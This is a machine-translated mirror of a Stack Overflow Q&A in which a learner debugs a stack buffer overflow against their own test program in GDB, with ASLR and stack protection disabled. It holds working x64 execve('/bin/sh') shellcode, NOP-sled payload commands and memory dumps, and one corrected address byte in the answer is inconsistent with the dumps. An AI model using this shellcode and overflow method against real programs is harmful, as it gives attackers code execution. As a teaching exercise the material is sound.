堆棧內存溢出
  簡體   English   中英

我正在嘗試利用緩沖區溢出，我做錯了什么？

[英]I'm trying to exploit a bufferoverflow, am I doing something wrong?

 原文  2016-07-16 22:00:43  6   1    c/ gdb/ buffer-overflow/ exploit

問題描述

我正在嘗試使用本教程執行緩沖區溢出漏洞。我的帖子中的所有內容都將直接在GDB中執行。

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

這是我想利用緩沖區溢出的代碼。 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}

我目前正在研究Linux mint 18，我有64位處理器。 鑒於我有64位架構。 每個地址都是8個字節。 現在讓我們想象一下我當前的stakframe。

| buff [256] |

| RBP |

| 保存RIP |

我的目標是用“nop sled”的地址覆蓋“SAVE RIP”。 鑒於我是64位架構。 我打算用256 + 8字符填充變量buff。 8個字符將用於覆蓋RBP指針。 我要用perl覆蓋。

perl -e 'print "\\x90" x 264'

然后使用我遵循的教程中提供的shellcode

perl -e 'print "\\x90" x (264 - 26) . "\\x90\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"'

我減去了26因為shellcode長度為26。

現在。 我要找出使用GDB的nop雪橇的地址是什么。 

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov    rbp,rsp
   0x00000000004005fa <+4>: sub    rsp,0x110
   0x0000000000400601 <+11>:    mov    DWORD PTR [rbp-0x104],edi
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x110],rsi
   0x000000000040060e <+24>:    cmp    DWORD PTR [rbp-0x104],0x1
   0x0000000000400615 <+31>:    jne    0x40063d <main+71>
   0x0000000000400617 <+33>:    mov    rax,QWORD PTR [rbp-0x110]
   0x000000000040061e <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000400621 <+43>:    mov    rsi,rax
   0x0000000000400624 <+46>:    mov    edi,0x400704
   0x0000000000400629 <+51>:    mov    eax,0x0
   0x000000000040062e <+56>:    call   0x4004c0 <printf@plt>
   0x0000000000400633 <+61>:    mov    edi,0x0
   0x0000000000400638 <+66>:    call   0x4004e0 <exit@plt>
   0x000000000040063d <+71>:    mov    rax,QWORD PTR [rbp-0x110]
   0x0000000000400644 <+78>:    add    rax,0x8
   0x0000000000400648 <+82>:    mov    rdx,QWORD PTR [rax]
   0x000000000040064b <+85>:    lea    rax,[rbp-0x100]
   0x0000000000400652 <+92>:    mov    rsi,rdx
   0x0000000000400655 <+95>:    mov    rdi,rax
   0x0000000000400658 <+98>:    call   0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>:   lea    rax,[rbp-0x100]
   0x0000000000400664 <+110>:   mov    rdi,rax
   0x0000000000400667 <+113>:   call   0x4004b0 <puts@plt>
   0x000000000040066c <+118>:   mov    eax,0x1
   0x0000000000400671 <+123>:   leave  
   0x0000000000400672 <+124>:   ret

我在strcpy函數之后添加了一個斷點juste。 而我正試圖找出使用雪橇的開始 

x/x $rsp

哪個告訴我 

0x7fffffffde20: 0xffffe018

那我就去做 

x/s 0x7fffffffde20

然后按“Enter”直到找到我要找的東西。

現在，來第二個問題。 我發現兩個不同的地址似乎包含了nop雪橇 

0x7fffffffde30: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

和 

0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

不知道選擇哪一個，我決定嘗試這兩個。 假設我正在使用第一個，更准確地說是0x7fffffffde30。 （不要忘記帶上endianess的車）。

我將嘗試使用以下命令行執行我的代碼： 

(gdb) run  `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`

然后我驗證RIP是否被欲望地址正確覆蓋。 

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
 rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
 source language c.
 Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
 Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
 Saved registers:
  rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)

我們可以看到保存的RIP被欲望地址成功覆蓋。 現在的主要問題是當我按下“繼續”我的程序段錯誤而不打開任何shell。 我完全按照它在教程中解釋的內容，所以任何人都可以解釋我：

- 當我在緩沖區內寫入263字節時，為什么會出現段錯誤？ 當我覆蓋“保存RIP”時，程序會出現段錯誤，對於RBP是否相同？

- 我發現了兩個不同的地址，其中包含我的nop雪橇，哪一個我可以選擇？

- 最后，根據你的說法，我做錯了什么或看起來不合邏輯？ 我不知道為什么我的漏洞利用確實有效，並且沒有在互聯網上找到像我這樣有同樣問題的其他人。

謝謝

我正在用這種方式編譯 

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

編輯：

謝謝你的評論。 我做了你告訴我的，但它仍然是段錯誤。

你好@russtone。

謝謝你的回答，我做了你告訴我的，但它仍然是段錯誤。 

`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc78: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00

===> 0x7fffffffdc80:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

0x7fffffffdc88: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc90: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc98: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd10: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd20: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd28: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd30: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd38: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd40: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd48: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd50: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd58: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd60: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd68: 0x90    0x90    0x90    0x48    0x31    0xff    0x57    0x57
0x7fffffffdd70: 0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62    0x69
0x7fffffffdd78: 0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef    0x08
0x7fffffffdd80: 0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f    0x05
0x7fffffffdd88: 0x90    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

我使用這個地址而不忘記結束。

“0x7fffffffdc80”

給我的

“\\ X80 \\ XDC \\ XFF \\ XFF \\ XFF \\ 0x7F部分”

所以GDB中的最終命令是 

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`

然后

繼續

哪個顯示

繼續。 H1WW ^ ZH //斌/ shHWT_j; X

程序接收信號SIGSEGV，分段故障。 0x00007fffffffdd80在？ （）

謝謝

1 個解決方案

解決方案1
 5 已采納  2016-07-28 12:21:07

當我在緩沖區內寫入263字節時為什么會出現段錯誤？ 當我覆蓋“保存RIP”時，程序會出現段錯誤，對於RBP是否相同？

在您的示例中，當程序試圖訪問不屬於它的地址0x30deffffff7f的內存時，會發生分段故障。 您想用0x7fffffffde30而不是0x30deffffff7f覆蓋RIP，但是您傳遞了錯誤的有效負載。 因為您的有效負載中有little-endian架構而不是： 

... "\x7f\xff\xff\xff\xde\x30"

你需要通過： 

... "\x30\xde\xff\xff\xff\x7e"

另外我不確定你shellcode的地址是0x7fffffffde30因為x/s $rsp並不是最好的方法。 最好使用類似的東西： 

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd228: 0xf6    0x77    0xde    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd230: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd238: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd240: 0x90    0x90    0x90    0x90    0x48    0x31    0xff    0x57
0x7fffffffd248: 0x57    0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62
0x7fffffffd250: 0x69    0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef
0x7fffffffd258: 0x08    0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f
0x7fffffffd260: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd268: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd270: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd278: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd280: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd288: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd290: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd298: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd300: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd308: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd310: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd318: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd320: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd330: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd338: 0x40    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd340: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd348: 0x18    0xd4    0xff    0xff

在上面的例子中，shelcode是"\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"和它的地址可能類似於0x7fffffffd240 。

我發現了兩個不同的地址，其中包含我的nop雪橇，哪一個我可以選擇？

你找到的第一個地址是你的緩沖區char buff[256] ，第二個地址是argv[1] 。 類Unix系統將argv放在堆棧上，因此在您的示例中，選擇哪個並不重要。 但一般情況下（對於任何操作系統），您需要使用char buff[256]的地址。

最后，根據你的說法，我做錯了什么或看起來不符合邏輯？ 我不知道為什么我的漏洞利用確實有效，並且沒有在互聯網上找到像我這樣有同樣問題的其他人。

我上面提到的第一件事是字節序 。 你有小端機器，所以你需要傳遞\\x30\\xde\\xff\\xff\\xff\\x7e而不是\\x7f\\xff\\xff\\xff\\xde\\x30 。

第二件事是你的shellcode。 您正在使用x86程序示例中的shellcode，但您需要x64的shellcode。 你可以使用這樣的東西： 

SECTION .text
global _start
_start:
    xor rdi, rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f2f ; hs/nib//
    shr rdi, 8 ; \x00hs/nib/
    push rdi
    push rsp
    pop rdi
    push 0x3b ; execve
    pop rax
    syscall

在字節碼中將是： 

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

希望這可以幫助。 祝好運！

UPDATE

好的，所以現在你覆蓋了rip並根據gdb的輸出成功跳轉到了正確的地址。

現在的問題是你的shell代碼太靠近緩沖區綁定了。

因此你得到了圖片：

堆棧布局

然后在main函數結束后命令 

leave
ret

你跳到了addr_1和addr_1 rsp = addr_2 + 8 （ leave之后，即mov rsp, rbp; pop rbp ）。 但是在shell代碼的開頭你可以看到執行后的2個push指令，其中$rsp = addr_2 + 8 - 16 = addr_2 - 8 。 但addr_2 - 8是shell代碼的最后8個字節！ 因此，您的shell代碼會覆蓋自己，並且您會遇到段錯誤。

為了避免這種情況，您可以將shell代碼放在buf中間的某個位置： 

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`

暫無
暫無

聲明:本站的技術帖子網頁，遵循CC BY-SA 4.0協議，如果您需要轉載，請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

相關問題 swr_convert 正在嘗試寫入空緩沖區。 這是一個錯誤還是我做錯了什么？ 我只是想將字符串掃描到數組中。 我究竟做錯了什么？ 這是GMP 4.1.2中的錯誤，還是我做錯了什么？ 我是在做錯什么，還是Go的C編譯器中的錯誤？ 我收到“Invalid Initializer”，我做錯了什么？ Scanf似乎工作不正確，或者我做錯了 我正在嘗試制作字符串解析器，但出了點問題 嘗試實現字符串數組時，我在做什么錯？ 難道我做錯了什么？ 我需要一些關於分隔符的指導。 C 相當新 我正在嘗試將C代碼轉換為Mathematica代碼，我在做什么錯？
相關標簽
 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM